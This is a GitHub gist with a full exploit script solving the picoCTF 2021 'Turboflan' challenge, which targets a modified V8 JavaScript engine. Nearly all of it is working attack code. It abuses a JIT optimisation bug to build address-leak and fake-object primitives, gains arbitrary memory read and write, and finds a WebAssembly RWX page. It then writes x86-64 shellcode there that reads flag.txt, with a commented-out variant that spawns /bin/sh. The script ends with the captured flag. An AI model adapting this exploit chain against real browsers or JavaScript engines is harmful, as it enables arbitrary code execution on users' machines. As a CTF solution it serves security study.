Created
January 23, 2024 13:03
-
-
Save Xornet-Euphoria/1ab286144187abfe9035b8c557785dc2 to your computer and use it in GitHub Desktop.
picoCTF 2021 - Turboflan
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// utility functions | |
// convert float64 <-> uint64 | |
let buf = new ArrayBuffer(8); | |
let float_buf = new Float64Array(buf); | |
let uint_buf = new BigUint64Array(buf); | |
function f2i(v) { | |
float_buf[0] = v; | |
return uint_buf[0]; | |
} | |
function i2f(v) { | |
uint_buf[0] = v; | |
return float_buf[0]; | |
} | |
// concat 2 integer | |
function toUint64(upper, lower) { | |
return (upper << 32n) + lower; | |
} | |
// print utils | |
function hexPrint(v) { | |
console.log("[+] 0x" + v.toString(16)); | |
} | |
// -------------------------------------------------- | |
function opt_float_arr(l) { | |
let x = l.length; | |
return l[x >> 16]; // in small array, equal to l[0] | |
} | |
function opt_obj_arr(l) { | |
let x = l.length; | |
return l[x >> 16]; // in small array, equal to l[0] | |
} | |
function fire() { | |
let tmp = [3.3, 4.4]; | |
for (let i = 0; i < 0x10000; i++) { | |
opt_float_arr(tmp); | |
} | |
let tmp2 = [{X:1}, {Y:2}]; | |
for (let i = 0; i < 0x10000; i++) { | |
opt_obj_arr(tmp2); | |
} | |
} | |
fire() | |
// in array of object, this function returns (elements[1] << 32n) + elements[0] | |
// so if the length of elements is 1, elements[1] is equal to the map of `tmp` (map of object array) | |
function addrof(obj) { | |
let tmp = [obj]; | |
return f2i(opt_float_arr(tmp)); | |
} | |
let testObj = {X:1}; | |
let leak = addrof(testObj); | |
let obj_arr_map = leak >> 32n; | |
let float_arr_map = obj_arr_map - 80n; // maybe fixed (from %DebugPrint) | |
hexPrint(obj_arr_map); | |
hexPrint(float_arr_map); | |
let fakeobj = [i2f(float_arr_map), i2f(0x1000000000n)] // elements will be changed | |
let fake_addr = addrof(fakeobj) + 0x24n; | |
let fake_obj_arr = [i2f(fake_addr), i2f(fake_addr)]; | |
let aarw_arr = opt_obj_arr(fake_obj_arr); | |
function aar(addr) { | |
fakeobj[1] = i2f(0x20000000000n + ((addr - 0x8n) & 0xffffffffn)); | |
return f2i(aarw_arr[0]) | |
} | |
function aaw(addr, v) { | |
fakeobj[1] = i2f(0x20000000000n + ((addr - 0x8n) & 0xffffffffn)); | |
aarw_arr[0] = i2f(v); | |
} | |
// prepare wasm instance | |
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); | |
let wasm_mod = new WebAssembly.Module(wasm_code); | |
let wasm_instance = new WebAssembly.Instance(wasm_mod); | |
let f = wasm_instance.exports.main; | |
// get address of RWX page | |
const wasm_addr = addrof(wasm_instance); | |
const rwx_addr = aar(wasm_addr + 0x68n); | |
hexPrint(rwx_addr) | |
// AAW outside of v8 heap | |
// write to backing_store of ArrayBuffer | |
let aaw_buf = new ArrayBuffer(0x400); | |
let dv = new DataView(aaw_buf); | |
const backing_store = addrof(aaw_buf) + 0x14n | |
aaw(backing_store, rwx_addr); | |
// writing shellcode | |
// "/bin//sh" | |
//let shellcode = [72, 49, 210, 82, 72, 184, 47, 98, 105, 110, 47, 47, 115, 104, 80, 72, 137, 231, 82, 87, 72, 137, 230, 72, 141, 66, 59, 15, 5] | |
// "equivalent to `cat flag.txt` | |
let shellcode = [106, 1, 254, 12, 36, 72, 184, 102, 108, 97, 103, 46, 116, 120, 116, 80, 106, 2, 88, 72, 137, 231, 49, 246, 15, 5, 65, 186, 255, 255, 255, 127, 72, 137, 198, 106, 40, 88, 106, 1, 95, 153, 15, 5] | |
for (let i = 0; i < shellcode.length; i++) { | |
dv.setUint8(i, shellcode[i]); | |
} | |
// cake | |
f(); | |
// picoCTF{Good_job!_Now_go_find_a_real_v8_cve!_4f2661eab1a80e33} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment